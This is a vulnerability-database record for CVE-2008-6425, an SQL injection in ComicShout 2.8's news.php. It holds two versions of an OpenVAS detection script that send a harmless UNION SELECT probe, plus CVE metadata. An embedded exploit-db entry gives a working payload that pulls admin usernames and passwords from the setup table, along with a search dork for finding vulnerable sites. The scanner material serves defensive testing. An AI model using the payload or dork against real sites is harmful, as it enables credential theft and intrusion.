ID OPENVAS:1361412562310100044 Type openvas Reporter Copyright (C) 2009 Greenbone Networks GmbH Modified 2020-05-06T00:00:00
Description
ComicShout is prone to an SQL-injection vulnerability because it
fails to sufficiently sanitize user-supplied data before using it in
an SQL query.
###############################################################################
# OpenVAS Vulnerability Test
#
# ComicShout 'news.php' SQL Injection Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (C) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100044");
script_version("2020-05-06T06:57:16+0000");
script_tag(name:"last_modification", value:"2020-05-06 06:57:16 +0000 (Wed, 06 May 2020)");
script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
script_bugtraq_id(29464);
script_cve_id("CVE-2008-6425");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("ComicShout 'news.php' SQL Injection Vulnerability");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"No known solution was made available for at least one year since
the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"summary", value:"ComicShout is prone to an SQL-injection vulnerability because it
fails to sufficiently sanitize user-supplied data before using it in
an SQL query.");
script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
application, access or modify data, or exploit latent
vulnerabilities in the underlying database.");
script_tag(name:"affected", value:"ComicShout 2.8 is vulnerable. Other versions may also be affected.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/29464");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = http_get_port(default:80);
if(!http_can_host_php(port:port))exit(0);
foreach dir( make_list_unique( "/comic", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = string(dir, "/news.php?news_id=4+union+all+select+0,1,2,0x53514c2d496e6a656374696f6e2d54657374");
if(http_vuln_check(port:port, url:url,pattern:"SQL-Injection-Test")) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
{"id": "OPENVAS:1361412562310100044", "type": "openvas", "bulletinFamily": "scanner", "title": "ComicShout 'news.php' SQL Injection Vulnerability", "description": "ComicShout is prone to an SQL-injection vulnerability because it\n fails to sufficiently sanitize user-supplied data before using it in\n an SQL query.", "published": "2009-03-16T00:00:00", "modified": "2020-05-06T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100044", "reporter": "Copyright (C) 2009 Greenbone Networks GmbH", "references": ["http://www.securityfocus.com/bid/29464"], "cvelist": ["CVE-2008-6425"], "lastseen": "2020-05-08T19:12:05", "viewCount": 26, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-6425"]}, {"type": "openvas", "idList": ["OPENVAS:100044"]}, {"type": "exploitdb", "idList": ["EDB-ID:5713"]}], "modified": "2020-05-08T19:12:05", "rev": 2}, "score": {"value": 6.9, "vector": "NONE", "modified": "2020-05-08T19:12:05", "rev": 2}, "vulnersScore": 6.9}, "pluginID": "1361412562310100044", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# ComicShout 'news.php' SQL Injection Vulnerability\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (C) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100044\");\n script_version(\"2020-05-06T06:57:16+0000\");\n script_tag(name:\"last_modification\", value:\"2020-05-06 06:57:16 +0000 (Wed, 06 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)\");\n script_bugtraq_id(29464);\n script_cve_id(\"CVE-2008-6425\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_name(\"ComicShout 'news.php' SQL Injection Vulnerability\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"no404.nasl\", \"webmirror.nasl\", \"DDI_Directory_Scanner.nasl\", \"global_settings.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since\n the disclosure of this vulnerability. Likely none will be provided anymore. General solution options\n are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n script_tag(name:\"summary\", value:\"ComicShout is prone to an SQL-injection vulnerability because it\n fails to sufficiently sanitize user-supplied data before using it in\n an SQL query.\");\n\n script_tag(name:\"impact\", value:\"Exploiting this issue could allow an attacker to compromise the\n application, access or modify data, or exploit latent\n vulnerabilities in the underlying database.\");\n\n script_tag(name:\"affected\", value:\"ComicShout 2.8 is vulnerable. Other versions may also be affected.\");\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/29464\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nport = http_get_port(default:80);\nif(!http_can_host_php(port:port))exit(0);\n\nforeach dir( make_list_unique( \"/comic\", http_cgi_dirs( port:port ) ) ) {\n\n if( dir == \"/\" ) dir = \"\";\n\n url = string(dir, \"/news.php?news_id=4+union+all+select+0,1,2,0x53514c2d496e6a656374696f6e2d54657374\");\n\n if(http_vuln_check(port:port, url:url,pattern:\"SQL-Injection-Test\")) {\n report = http_report_vuln_url( port:port, url:url );\n security_message( port:port, data:report );\n exit( 0 );\n }\n}\n\nexit( 99 );\n", "naslFamily": "Web application abuses"}
{"cve": [{"lastseen": "2021-02-02T05:35:20", "description": "SQL injection vulnerability in news.php in ComicShout 2.8 allows remote attackers to execute arbitrary SQL commands via the news_id parameter, a different vector than CVE-2008-2456.", "edition": 4, "cvss3": {}, "published": "2009-03-06T18:30:00", "title": "CVE-2008-6425", "type": "cve", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2008-6425"], "modified": "2017-09-29T01:33:00", "cpe": ["cpe:/a:comicshout:comicshout:2.8"], "id": "CVE-2008-6425", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6425", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:comicshout:comicshout:2.8:*:*:*:*:*:*:*"]}], "openvas": [{"lastseen": "2017-07-02T21:13:48", "bulletinFamily": "scanner", "cvelist": ["CVE-2008-6425"], "description": "ComicShout is prone to an SQL-injection vulnerability because it\n fails to sufficiently sanitize user-supplied data before using it in\n an SQL query.\n\n Exploiting this issue could allow an attacker to compromise the\n application, access or modify data, or exploit latent\n vulnerabilities in the underlying database.\n\n ComicShout 2.8 is vulnerable; other versions may also be affected.", "modified": "2017-03-29T00:00:00", "published": "2009-03-16T00:00:00", "id": "OPENVAS:100044", "href": "http://plugins.openvas.org/nasl.php?oid=100044", "type": "openvas", "title": "ComicShout 'news.php' SQL Injection Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: ComicShout_sql_injection.nasl 5768 2017-03-29 13:37:01Z cfi $\n#\n# ComicShout 'news.php' SQL Injection Vulnerability\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"ComicShout is prone to an SQL-injection vulnerability because it\n fails to sufficiently sanitize user-supplied data before using it in\n an SQL query.\n\n Exploiting this issue could allow an attacker to compromise the\n application, access or modify data, or exploit latent\n vulnerabilities in the underlying database.\n\n ComicShout 2.8 is vulnerable; other versions may also be affected.\";\n\nif (description)\n{\n script_id(100044);\n script_version(\"$Revision: 5768 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-03-29 15:37:01 +0200 (Wed, 29 Mar 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)\");\n script_bugtraq_id(29464);\n script_cve_id(\"CVE-2008-6425\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_name(\"ComicShout 'news.php' SQL Injection Vulnerability\");\n script_category(ACT_ATTACK);\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/29464\");\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nport = get_http_port(default:80);\nif(!can_host_php(port:port))exit(0);\n\nforeach dir( make_list_unique( \"/comic\", cgi_dirs( port:port ) ) ) {\n\n if( dir == \"/\" ) dir = \"\";\n\n url = string(dir, \"/news.php?news_id=4+union+all+select+0,1,2,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374\");\n\n if(http_vuln_check(port:port, url:url,pattern:\"OpenVAS-SQL-Injection-Test\")) {\n report = report_vuln_url( port:port, url:url );\n security_message( port:port, data:report );\n exit( 0 );\n }\n}\n\nexit( 99 );\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T23:28:39", "description": "ComicShout 2.8 (news.php news_id) SQL Injection Vulnerability. CVE-2008-6425. Webapps exploit for php platform", "published": "2008-06-01T00:00:00", "type": "exploitdb", "title": "ComicShout 2.8 news.php news_id SQL Injection Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-6425"], "modified": "2008-06-01T00:00:00", "id": "EDB-ID:5713", "href": "https://www.exploit-db.com/exploits/5713/", "sourceData": "\n--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--\n--==+ ComicShout 2.8 (news.php news_id) Remote SQL Injection Vulnerability +==--\n--==+====================================================================================+==--\n - dreaming of necessity is reason to comply -\n\n[+] Info:\n\n[~] Bug found by JosS\n[~] sys-project[at]hotmail.com\n[~] http://www.spanish-hackers.com\n[~] EspSeC & Hack0wn!.\n\n\n[~] Software: ComicShout 2.8\n[~] Exploit: Remote SQL Injection [High]\n[~] Vuln file: news.php\n\n[~] Dork: \"Powered by ComicShout\"\n\n[+] Exploit:\n\n[~] /news.php?news_id=[SQL]\n[~] 4+union+all+select+0,1,site_admin,site_pass+from+setup/*\n\n--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--\n--==+ JosS +==--\n--==+====================================================================================+==--\n [+] [The End]\n\n# milw0rm.com [2008-06-01]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/5713/"}]}